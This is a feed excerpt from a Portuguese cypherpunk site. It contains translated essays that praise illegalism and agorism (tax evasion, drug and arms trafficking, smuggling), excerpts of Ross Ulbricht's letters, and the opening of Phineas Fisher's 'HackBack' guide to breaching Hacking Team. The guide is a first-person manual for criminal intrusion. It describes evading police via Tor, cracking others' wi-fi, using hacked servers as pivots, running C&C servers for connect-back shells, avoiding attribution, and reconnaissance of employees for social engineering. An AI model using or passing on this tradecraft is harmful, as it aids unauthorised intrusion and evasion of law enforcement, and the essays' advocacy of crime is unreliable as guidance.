&lt;p>O ilegalismo surgiu como uma filosofia anarquista do lumpemproletariado. Defendido por individualistas como Ravachol, Émile Henry, Auguste Vaillant e Caserio e outros influenciados pelo egoísmo de Max Stirner, o ilegalismo promoveu o estilo de vida criminoso como o arquétipo do revolucionário, acreditando que através de ações criminosas individuais feitas em busca de desejos individuais e sobrevivência sob a opressão capitalista, eles poderiam eventualmente inspirar uma insurreição em massa levando a uma revolução. Roubo e furto eram vistos como um meio de reapropriação individual e em massa da propriedade capitalista, a falsificação e o contrabando eram usados como meio de sobrevivência e, mais controversamente, os bombardeios políticos e assassinatos foram rotulados como “propaganda pelo ato”. Os criminosos foram aplaudidos por seu desrespeito total à autoridade estatal e pelo uso do crime como tática de sobrevivência.&lt;/p>
&lt;p>Os agoristas também defendem os chamados criminosos que ganham a vida nos mercados negro e cinza. Contrabando, tráfico de drogas, tráfico de armas, desobediência civil, prostituição e práticas comerciais não licenciadas são promovidos como meios de combater o poder do Estado. À medida que mais e mais atividades econômicas são transferidas do mercado branco para a economia subterrânea, o estado perde mais e mais controle sobre essas transações econômicas. Junto a isso, os agoristas defendem a evasão fiscal, o que ajuda a drenar o suprimento monetário do estado, dificultando seu funcionamento. Enquanto ambos lidam com a sobrevivência diária sob um sistema capitalista de estado, o ilegalismo meramente coloca esperança em uma revolução inspiradora de um dia, enquanto o agorismo traça um caminho claro. O agorismo dá um toque empreendedor à atividade do lumpemproletariado.&lt;/p>
&lt;p>À primeira vista, essas táticas têm muito em comum. Abrigar imigrantes sem documentos, tráfico de drogas ilegais e armamento, contrabando, ocupação ilegal, prostituição, sonegação de impostos e até falsificação são ações ilegalistas que também são contra-econômicas e têm sido defendidas por anarquistas em ambos os campos. No entanto, grandes diferenças de opinião surgem quando a chamada atividade do mercado vermelho é questionada. Embora não seja uma atividade estritamente empreendedora, assassinatos políticos, bombardeios e até mesmo roubos são considerados antitéticos ao agorismo, pois violam os direitos de outras pessoas e suas propriedades. Às vezes, coisas como assassinatos políticos foram justificados por indivíduos com base na autodefesa, mas muitos agoristas acreditam que a autodefesa só pode ser reivindicada se alguém estiver sob ameaça imediata de violência que, portanto, excluiria totalmente o assassinato político.&lt;/p>
&lt;p>Enquanto alguns agoristas provavelmente argumentariam que a reapropriação individual é uma violação dos direitos de propriedade, como qualquer forma de roubo ou furto, os ilegalistas argumentam que o capitalista não tem direitos de propriedade legítimos, já que fez fortuna roubando os frutos do trabalho de outros. Esse sentimento é ecoado por muitos da esquerda libertária que apontam que a maior parte da propriedade capitalista foi adquirida por meio do Estado e do bem-estar corporativo, tornando assim ilegítimas suas reivindicações de propriedade. Na tradição Rothbardiana, se o proprietário original de tal propriedade roubada não pode ser determinado ou encontrado, então ela deve ser reclamada por outros que possam oferecer uma reivindicação mais justa da propriedade. Isso não é uma chamada para uma espécie de reapropriação?&lt;/p>
&lt;p>Portanto, parece que o agorismo é compatível com o ilegalismo, mas o ilegalismo é um ajuste desconfortável, na melhor das hipóteses, dentro do agorismo. Apesar dessa relação difícil às vezes, as duas filosofias podem, de fato, aprender muito uma com a outra. Ambas as filosofias desafiadoramente cospem na cara de Marx e mostram o verdadeiro potencial revolucionário do lumpemproletariado como criminosos e empreendedores. É hora de as classes baixas se levantarem e tomarem o que é delas por direito.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/45987" target="_blank" rel="noopener noreferrer">Entrepreneurs and the Lumpenproletariat: Comparing Agorism and Illegalism&lt;/a>
&lt;/p></content:encoded></item><item><title>Agorismo vs Consumismo Ético: Quanto Vale Seu Dinheiro?</title><link>https://cypherpunks.com.br/documentos/agorismo-vs-consumismo-%C3%A9tico-quanto-vale-seu-dinheiro/</link><pubDate>Sun, 11 Sep 2016 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/agorismo-vs-consumismo-%C3%A9tico-quanto-vale-seu-dinheiro/</guid><description>Utilizar os mercados para combater práticas de negócios antiéticas é uma longa tradição entre ativistas de várias ideologias. Considerando que o agorismo busca combater as práticas de compadrio de utilização do bem-estar corporativo, incentivos fiscais, lobby, leis de propriedade intelectual e outros privilégios especiais concedidos por …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="agorismo-vs-consumismo-ético-quanto-vale-seu-dinheiro">Agorismo vs Consumismo Ético: Quanto Vale Seu Dinheiro?&lt;/h1>
&lt;h2 id="logan-marie-glitterbomb">Logan Marie Glitterbomb&lt;/h2>
&lt;p>Utilizar os mercados para combater práticas de negócios antiéticas é uma longa tradição entre ativistas de várias ideologias. Considerando que o agorismo busca combater as práticas de compadrio de utilização do bem-estar corporativo, incentivos fiscais, lobby, leis de propriedade intelectual e outros privilégios especiais concedidos por governos para manter o status econômico e até mesmo o monopólio sobre certos produtos ou ideias, bem como outras práticas de maus negócios, mudando mais e mais nossas atividades para os mercados negro e cinza agoristas/livres, o consumismo ético, por outro lado, busca combater práticas comerciais injustas sendo consumidores conscientes no mercado branco, utilizando táticas de boicote e compra consciente.&lt;/p>
&lt;p>O consumismo ético é tradicionalmente conhecido como votar com seu dinheiro na economia convencional. É simplesmente a ideia de comprar produtos e serviços que consideramos éticos e não comprar aqueles que consideramos antiéticos, a fim de promover a atividade ética do mercado por meio da demanda. Não gosta da Monsanto? Não compre produtos alimentícios fornecidos por eles. Não gosta da Chick-fil-A por causa de sua posição sobre os direitos dos homossexuais? Não compre deles. Essa é uma tática tão antiga quanto os próprios mercados. No entanto, não leva em consideração vários fatores externos que tornam essa tática extremamente ineficaz em grande escala.
Konkin começa descrevendo a contra-economia como crescendo horizontalmente no sentido de uma porção crescente da população dominante voltando suas atividades para a economia não estatista. O crescimento vertical, no sentido konkiniano, envolve a criação real de contra-instituições às contrapartes estatistas. Isso significa construir alternativas não apenas para os centros de poder econômico por meio de moedas alternativas, mas alternativas para a mídia corporativa morta, os sistemas corporativos de produção de alimentos, os centros acadêmicos complacentes e o crescente complexo industrial sem fins lucrativos.&lt;/p>
&lt;p>Em um mercado verdadeiramente liberto, o consumismo ético faz todo o sentido, mas infelizmente nossa economia é tudo menos um mercado liberto. Nosso mercado está tão inclinado a favor de certos atores que é difícil travar efetivamente essas batalhas contra eles em uma escala grande o suficiente para afetá-los substancialmente. A pobreza e a distribuição injusta da riqueza tornam quase impossível que alguns sobrevivam como consumidores “éticos”, pois o custo de tais produtos tende a ser muito mais caro. Assim, os consumidores mais pobres são forçados a comprar itens de baixo custo produzidos de forma antiética sem necessidade. Os consumidores mais pobres já têm dificuldade em utilizar o potencial democrático dos mercados como estão, quanto mais de maneiras eticamente corretas. Portanto, o consumismo ético se torna a base para transferir a culpa de corporações antiéticas para consumidores antiéticos e pode levar a uma humilhação do pobre.&lt;/p>
&lt;p>Viver em uma sociedade hierárquica onde os negócios são estruturados principalmente de cima para baixo significa que as informações também estão dispersas de forma assimétrica. Por isso, muitos de nós estamos muito distantes da realidade dos produtos que consumimos. Esse &lt;a href="https://aesquerdalibertaria.blogspot.com/2013/12/calculo-economico-na-comunidade.html#.ZC-MjevMI9c" target="_blank" rel="noopener noreferrer">problema de conhecimento&lt;/a>
nos leva, como consumidores, a fazer escolhas antiéticas no que compramos por ignorância e falta de informação. Grupos de certificação como o Fairtrade International surgiram para ajudar a complementar nosso conhecimento pessoal, supostamente garantindo que as empresas sigam os rígidos padrões éticos estabelecidos por cada grupo de certificação para receber seu selo de aprovação. No entanto, não apenas alguns desses grupos foram descobertos por vender certificações sem inspeção, mas também foram criticados por empurrar a ética ocidental para outras culturas onde certas visões éticas podem diferir. Esses agricultores e produtores não ocidentais que desejam obter ou manter o status de comércio justo são forçados a adotar padrões éticos estrangeiros para manter os negócios, fazendo com que o movimento pareça mais uma forma de colonialismo ético do que um sistema ético construído sobre autonomia ou liberdade.&lt;/p>
&lt;p>A realidade do consumismo ético é que ele falha em desafiar fundamentalmente o sistema econômico capitalista atual de qualquer forma substancial, ao invés disso, opta por trabalhar dentro do sistema. Como acontece com a maioria das atividades econômicas, os capitalistas geralmente encontram uma maneira de incorporar movimentos de mercado como esse tendências de consumo, marketing de causa, capitalismo verde e outros nichos de mercado. Em vez de mercados libertos onde o consumidor tem mais controle, somos deixados com falsas promessas de eletrodomésticos Energy Star, alimentos de comércio equitativo e outros produtos “éticos”, promessas de que o capitalismo pode ser poupado e tornado mais ético.&lt;/p>
&lt;p>O agorismo, em contraste, não vê, de forma alguma, a economia do mercado branco estatista como ética e opta por não trabalhar dentro dela para sabotá-la ou descentralizá-la ao máximo. Não envergonha aqueles por suas compras no mercado branco, sua falta de poder de voto econômico ou suas compras “antiéticas”. Não há organizações guardiãs, como certificadores de comércio justo, que impedem os produtores de participar. O melhor de tudo é que o agorismo é uma tática acessível a todos em vários níveis.&lt;/p>
&lt;p>Ao contrário do consumismo ético, que pinta tudo de uma maneira muito preta e branca, os agoristas vêem suas táticas funcionando em estágios. Assim, não é necessário ser firme e inabalavelmente “ético” por meio de apenas participar dos mercados negro e cinza, excluindo os &lt;a href="https://cypherpunks.com.br/documentos/agorismo-do-mercado-branco/">mercados brancos.&lt;/a>
Em vez disso, os agoristas individuais se esforçam para transferir o máximo possível de sua atividade econômica para a &lt;a href="https://cypherpunks.com.br/documentos/contra-economia-tribut%C3%A1ria/">economia subterrânea&lt;/a>
enquanto navegam pela sobrevivência no mundo real. Mesmo a pessoa mais pobre sem poder de voto real no mercado branco pode evitar pagar impostos, trabalhar por baixo da mesa, utilizar moedas alternativas ou a economia sem dinheiro, vender drogas, iniciar negócios não licenciados, etc. E enquanto muitos nos estágios iniciais do movimento agorista realizam apenas algumas de suas atividades diárias através da economia subterrânea, à medida que os mercados negro e cinza crescem e se desenvolvem, eles se tornarão mais seguros e irão englobar cada vez mais produtos e serviços, permitindo assim que mais pessoas participem com menos custo financeiro e mais segurança.&lt;/p>
&lt;p>Embora seja importante levar em consideração a ética pessoal ao se engajar na economia subterrânea para que ela não se torne um paraíso para cartéis, violência e outras práticas injustas, o consumo ético no mercado branco é, na melhor das hipóteses, ineficaz e, na pior, impossível. Embora táticas como boicotes tenham algum sucesso, elas não são exclusivas da filosofia do consumismo ético. Em suma, o agorismo parece mais realista e mais bem equipado para desafiar significativamente nossa economia capitalista atual pelo lado de fora. Lembre-se de que não existe consumismo ético sob o capitalismo e o mercado estatista!&lt;/p>
&lt;hr>
&lt;p>Fonte:
&lt;a href="https://c4ss.org/content/45991" target="_blank" rel="noopener noreferrer">Agorism vs Ethical Consumerism: What’s Worth Your Money?&lt;/a>
&lt;/p></content:encoded></item><item><title>Trechos das cartas de Ross para amigos e familiares</title><link>https://cypherpunks.com.br/documentos/trechos-de-cartas-para-familias-e-amigos/</link><pubDate>Mon, 09 May 2016 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/trechos-de-cartas-para-familias-e-amigos/</guid><description>No final de qualquer dia, você geralmente pode olhar para trás e descobrir alguma gentileza que fez, mas a gentileza premeditada e deliberada é realmente boa para você porque interrompe o foco habitual que normalmente colocamos em nós mesmos.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="ross-ulbricht">Ross Ulbricht&lt;/h3>
&lt;p>Publicado originalmente em 2016 a 2017&lt;/p>
&lt;p>1 de julho de 2017&lt;/p>
&lt;p>Então, tenho praticado a gratidão em todas as oportunidades, especialmente de manhã para começar bem o dia e ao dormir à noite. Há tantas coisas pelas quais devemos ser gratos, desde as necessidades básicas (comida, água, etc.), nossos corpos, mentes e saúde, às pessoas com quem nos importamos e assim por diante. Você poderia literalmente agradecer o dia todo e não cobrir tudo. E o efeito é transformador. É a diferença entre ver as coisas como escassas e abundantes.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="carta julho 2017" src="https://cypherpunks.com.br/stuff/ross-letter-excerpt-1-2.jpg" loading="lazy"
width="1071" height="759"
/>
&lt;/p>
&lt;hr>
&lt;p>12 de novembro de 2016&lt;/p>
&lt;p>Suas reflexões e as minhas se cruzam quando se trata de ser e se esforçar. Tento encontrar um equilíbrio também. Uma forma de pensar sobre isso é que “ser/gozo/felicidade/satisfação” é o objetivo e buscar os meios para alcançá-lo. Se você perder isso de vista e passar a vida inteira se esforçando, e nunca aproveitar, então você perdeu uma grande parte da vida.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="carta novembro 2016" src="https://cypherpunks.com.br/stuff/ross-letter-excerpt-2-2.jpg" loading="lazy"
width="1051" height="495"
/>
&lt;/p>
&lt;hr>
&lt;p>9 de maio de 2016&lt;/p>
&lt;p>Eu acho que é ótimo que você tenha adotado essa ideia de bondade por dia. No final de qualquer dia, você geralmente pode olhar para trás e descobrir alguma gentileza que fez, mas a gentileza premeditada e deliberada é realmente boa para você porque interrompe o foco habitual que normalmente colocamos em nós mesmos.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="carta maio 2016" src="https://cypherpunks.com.br/stuff/ross-letter-excerpt-3-1.jpg" loading="lazy"
width="1027" height="463"
/>
&lt;/p></content:encoded></item><item><title>HackBack! Um guia DIY - Parte I</title><link>https://cypherpunks.com.br/documentos/hackback-um-guia-diy-i/</link><pubDate>Thu, 07 Apr 2016 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/hackback-um-guia-diy-i/</guid><description>Nesse mundo, há muitos hackers melhores do que eu, mas eles usam mal seus talentos trabalhando para empreiteiros de "defesa", para agências de inteligência, para proteger bancos e corporações e para defender o status quo. A cultura hacker nasceu nos Estados Unidos como uma contracultura, mas essa origem só permanece em sua estética - o …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;h1 id="hackback---um-guia-diy-i">HackBack - Um Guia DIY I&lt;/h1>
&lt;h2 id="phineas-fisher">&lt;em>ataque contra a Hacking Team&lt;/em>&lt;br>
&lt;em>Phineas Fisher&lt;/em>&lt;/h2>
&lt;pre tabindex="0">&lt;code> _ _ _ ____ _ _
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
| _ | (_| | (__| &amp;lt; | |_) | (_| | (__| &amp;lt;|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
Um Guia DIY
,-._,-._
_,-\ o O_/;
/ , ` `|
| \-.,___, / `
\ `-.__/ / ,.\
/ `-.__.-\` ./ \&amp;#39;
/ /| ___\ ,/ `\
( ( |.-&amp;#34;` &amp;#39;/\ \ `
\ \/ ,, | \ _
\| o/o / \.
\ , / /
( __`;-;&amp;#39;__`) \\
`//&amp;#39;` `||` `\
_// || __ _ _ _____ __
.-&amp;#34;-._,(__) .(__).-&amp;#34;&amp;#34;-. | | | | |_ _| |
/ \ / \ | | |_| | | | |
\ / \ / | | _ | | | |
`&amp;#39;-------` `--------&amp;#39;` __| |_| |_| |_| |__
#antisec
&lt;/code>&lt;/pre>&lt;h2 id="1---introdução">1 - Introdução&lt;/h2>
&lt;p>Você notará a mudança no idioma desde a última edição&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>. O mundo que fala inglês já tem muitos livros, palestras, guias e informações sobre hacking. Nesse mundo, há muitos hackers melhores do que eu, mas eles usam mal seus talentos trabalhando para empreiteiros de &amp;ldquo;defesa&amp;rdquo;, para agências de inteligência, para proteger bancos e corporações e para defender o status quo. A cultura hacker nasceu nos Estados Unidos como uma contracultura, mas essa origem só permanece em sua estética - o resto foi assimilado. Pelo menos eles podem usar uma camiseta, pintar o cabelo de azul, usar seus nomes de hacker e se sentir como rebeldes enquanto trabalham para o Homem.&lt;/p>
&lt;p>Você costumava entrar sorrateiramente nos escritórios para vazar documentos&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>. Você costumava precisar de uma arma para roubar um banco. Agora você pode fazer as duas coisas da cama com um laptop nas mãos&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> &lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. Como a CNT disse após o hack do Gamma Group: &amp;ldquo;Vamos dar um passo em frente com novas formas de luta&amp;rdquo;&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>. Hacking é uma ferramenta poderosa, vamos aprender e lutar!&lt;/p>
&lt;h2 id="2---hacking-team">2 - Hacking Team&lt;/h2>
&lt;p>Hacking Team era uma empresa que ajudava governos a hackear e espionar jornalistas, ativistas, oposição política e outras ameaças ao seu poder&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> &lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> &lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> &lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> &lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> &lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> &lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> &lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> &lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> &lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> &lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup>. E, ocasionalmente, em criminosos e terroristas reais&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>. Vincenzetti, o CEO, gostava de terminar seus e-mails com o slogan fascista &amp;ldquo;boia chi molla&amp;rdquo;. Seria mais correto dizer &amp;ldquo;boia chi vende RCS&amp;rdquo;. Eles também alegaram ter tecnologia para resolver o &amp;ldquo;problema&amp;rdquo; colocado pelo Tor e a darknet&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup>. Mas visto que ainda estou livre, tenho minhas dúvidas sobre sua eficácia.&lt;/p>
&lt;h2 id="3---fique-seguro-aí-fora">3 - Fique seguro aí fora&lt;/h2>
&lt;p>Infelizmente, nosso mundo está ao contrário. Você fica rico fazendo coisas ruins e vai para a prisão por fazer coisas boas. Felizmente, graças ao trabalho árduo de pessoas como o projeto Tor&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup>, você pode evitar ir para a cadeia tomando algumas precauções simples:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Criptografe seu disco rígido&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Acho que quando a polícia chega para apreender seu computador, significa que você já cometeu muitos erros, mas é melhor estar seguro.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use uma máquina virtual com todo o tráfego roteado pelo Tor&lt;/p>
&lt;p>Isso realiza duas coisas. Primeiro, todo o seu tráfego é anônimo por meio do Tor. Em segundo lugar, manter sua vida pessoal e hackers em computadores separados ajuda a não misturá-los acidentalmente.&lt;/p>
&lt;p>Você pode usar projetos como Whonix&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup>, Tails&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup>, Qubes TorVM&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup> ou algo customizado&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup>. Aqui está&lt;sup id="fnref:25">&lt;a href="#fn:25" class="footnote-ref" role="doc-noteref">25&lt;/a>&lt;/sup> uma comparação detalhada.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>(Opcional) Não conecte diretamente ao Tor&lt;/p>
&lt;p>Tor não é uma panacéia. Eles podem correlacionar os tempos em que você está conectado ao Tor com os tempos em que seu hacker está ativo. Além disso, houve ataques bem-sucedidos contra o Tor&lt;sup id="fnref:26">&lt;a href="#fn:26" class="footnote-ref" role="doc-noteref">26&lt;/a>&lt;/sup>. Você pode se conectar ao Tor usando o wi-fi de outras pessoas. Wifislax&lt;sup id="fnref:27">&lt;a href="#fn:27" class="footnote-ref" role="doc-noteref">27&lt;/a>&lt;/sup> é uma distro Linux com várias ferramentas para crackear wi-fi. Outra opção é conectar-se a uma VPN ou a um nó de ponte&lt;sup id="fnref:28">&lt;a href="#fn:28" class="footnote-ref" role="doc-noteref">28&lt;/a>&lt;/sup> antes do Tor, mas isso é menos seguro porque eles ainda podem correlacionar a atividade do hacker com a atividade de Internet de sua casa (isso foi usado como evidência contra Jeremy Hammond&lt;sup id="fnref:29">&lt;a href="#fn:29" class="footnote-ref" role="doc-noteref">29&lt;/a>&lt;/sup>).&lt;/p>
&lt;p>A realidade é que, embora o Tor não seja perfeito, ele funciona muito bem. Quando eu era jovem e imprudente, fazia muitas coisas sem nenhuma proteção (estou me referindo a hackear) além do Tor, que a polícia tentou ao máximo investigar e nunca tive problemas.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h3 id="31---infraestrutura">3.1 - Infraestrutura&lt;/h3>
&lt;p>Eu não ataco diretamente os nós de saída do Tor. Eles estão em listas negras, são lentos e não podem receber reconexões. O Tor protege meu anonimato enquanto eu me conecto à infraestrutura que uso para hackear, que consiste em:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Nomes de domínio&lt;/p>
&lt;p>Para endereços C&amp;amp;C e para túneis DNS para saída garantida.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Servidores Estáveis&lt;/p>
&lt;p>Para uso como servidores C&amp;amp;C, para receber connect-back shells, para lançar ataques e para armazenar o &lt;em>loot&lt;/em>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Servidores Hackeados&lt;/p>
&lt;p>Para uso como pivôs para ocultar os endereços IP dos servidores estáveis. E para quando quero uma conexão rápida sem pivotamento, por exemplo para escanear portas, escanear toda a internet, baixar um banco de dados com sqli, etc.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Obviamente, você deve usar um método de pagamento anônimo, como bitcoin (se usado com cuidado).&lt;/p>
&lt;h3 id="32---atribuição">3.2 - Atribuição&lt;/h3>
&lt;p>Nas notícias, frequentemente vemos ataques rastreados até grupos de hackers apoiados pelo governo (&amp;ldquo;APTs&amp;rdquo;), porque eles usam repetidamente as mesmas ferramentas, deixam as mesmas pegadas e até usam a mesma infraestrutura (domínios, e-mails, etc). Eles são negligentes porque podem hackear sem consequências legais.&lt;/p>
&lt;p>Eu não queria tornar o trabalho da polícia mais fácil relacionando meu hack do Hacking Team com outros hacks que fiz ou com nomes que uso no meu dia-a-dia como hacker &lt;em>blackhat&lt;/em>. Então, usei novos servidores e nomes de domínio, registrei-me com novos e-mails e paguei com novos endereços bitcoin. Além disso, usei apenas ferramentas que estão disponíveis publicamente ou coisas que escrevi especificamente para esse ataque e mudei minha maneira de fazer algumas coisas para não deixar minha pegada forense usual.&lt;/p>
&lt;h2 id="4---coleta-de-informações">4 - Coleta de informações&lt;/h2>
&lt;p>Embora possa ser tedioso, esse estágio é muito importante, pois quanto maior a superfície de ataque, mais fácil é encontrar um buraco em algum lugar dela.&lt;/p>
&lt;h3 id="41---informação-técnica">4.1 - Informação Técnica&lt;/h3>
&lt;p>Algumas ferramentas e técnicas são:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Google&lt;/p>
&lt;p>Muitas coisas interessantes podem ser encontradas com algumas consultas de pesquisa bem escolhidas. Por exemplo, a identidade do DPR&lt;sup id="fnref:30">&lt;a href="#fn:30" class="footnote-ref" role="doc-noteref">30&lt;/a>&lt;/sup>. A bíblia do Google hack é o livro &lt;em>&amp;quot;&lt;a href="https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf" target="_blank" rel="noopener noreferrer">Google Hacking for Penetration Testers&lt;/a>
&amp;quot;&lt;/em>. Você pode encontrar um breve resumo em espanhol em&lt;sup id="fnref:31">&lt;a href="#fn:31" class="footnote-ref" role="doc-noteref">31&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Enumeração de Subdomínio&lt;/p>
&lt;p>Frequentemente, o site principal de uma empresa é hospedado por terceiros e você encontrará a faixa de IP real da empresa graças a subdomínios como &lt;em>mx.company.com&lt;/em> ou &lt;em>ns1.company.com&lt;/em>. Além disso, às vezes há coisas que não devem ser expostas em subdomínios &amp;ldquo;ocultos&amp;rdquo;. Ferramentas úteis para descobrir domínios e subdomínios são o Fierce&lt;sup id="fnref:32">&lt;a href="#fn:32" class="footnote-ref" role="doc-noteref">32&lt;/a>&lt;/sup>, theHarvester&lt;sup id="fnref:33">&lt;a href="#fn:33" class="footnote-ref" role="doc-noteref">33&lt;/a>&lt;/sup> e o recon-ng&lt;sup id="fnref:34">&lt;a href="#fn:34" class="footnote-ref" role="doc-noteref">34&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Pesquisas no Whois e pesquisas reversas&lt;/p>
&lt;p>Com uma pesquisa reversa usando as informações no whois de um domínio ou faixa de IP de uma empresa, você pode encontrar outros domínios e faixas de IP. Pelo que eu sei, não há maneira gratuita de fazer pesquisas reversas além de um &amp;ldquo;hack&amp;rdquo; do Google:&lt;/p>
&lt;/li>
&lt;/ol>
&lt;pre tabindex="0">&lt;code> &amp;#34;via della moscova 13&amp;#34; site:www.findip-address.com
&amp;#34;via della moscova 13&amp;#34; site:domaintools.com
&lt;/code>&lt;/pre>&lt;ol start="4">
&lt;li>
&lt;p>Digitalização de portas e impressão digital&lt;/p>
&lt;p>Ao contrário das outras técnicas, esta se comunica com os servidores da empresa. Incluo nesta seção porque não é um ataque, é apenas uma coleta de informações. O IDs da empresa pode gerar um alerta, mas você não precisa se preocupar, pois toda a Internet está sendo varrida constantemente.&lt;/p>
&lt;p>Para digitalização, o nmap&lt;sup id="fnref:35">&lt;a href="#fn:35" class="footnote-ref" role="doc-noteref">35&lt;/a>&lt;/sup> é preciso e pode imprimir digitalmente a maioria dos serviços descobertos. Para empresas com faixas de IP muito grandes, zmap&lt;sup id="fnref:36">&lt;a href="#fn:36" class="footnote-ref" role="doc-noteref">36&lt;/a>&lt;/sup> ou masscan&lt;sup id="fnref:37">&lt;a href="#fn:37" class="footnote-ref" role="doc-noteref">37&lt;/a>&lt;/sup> são rápidos. WhatWeb&lt;sup id="fnref:38">&lt;a href="#fn:38" class="footnote-ref" role="doc-noteref">38&lt;/a>&lt;/sup> ou BlindElephant&lt;sup id="fnref:39">&lt;a href="#fn:39" class="footnote-ref" role="doc-noteref">39&lt;/a>&lt;/sup> podem fazer impressões digitais em sites.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h3 id="42---informações-sociais">4.2 - Informações Sociais&lt;/h3>
&lt;p>Para engenharia social, é útil ter informações sobre os funcionários, suas funções, informações de contato, sistema operacional, navegador, plug-ins, software, etc. Alguns recursos são:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Google&lt;/p>
&lt;p>Também aqui, é a ferramenta mais útil.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://github.com/laramies/theHarvester" target="_blank" rel="noopener noreferrer">theHarvester&lt;/a>
e &lt;a href="https://github.com/lanmaster53/recon-ng" target="_blank" rel="noopener noreferrer">recon-ng&lt;/a>
&lt;/p>
&lt;p>Já os mencionei na seção anterior, mas eles têm muito mais funcionalidades. Eles podem encontrar muitas informações de forma rápida e automática. Vale a pena ler toda a documentação.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>LinkedIn&lt;/p>
&lt;p>Muitas informações sobre os funcionários podem ser encontradas aqui. Os recrutadores da empresa são os mais propensos a aceitar suas solicitações de conexão.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Data.com&lt;/p>
&lt;p>Anteriormente conhecido como quebra-cabeças. Eles têm informações de contato de muitos funcionários.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Metadados de arquivos&lt;/p>
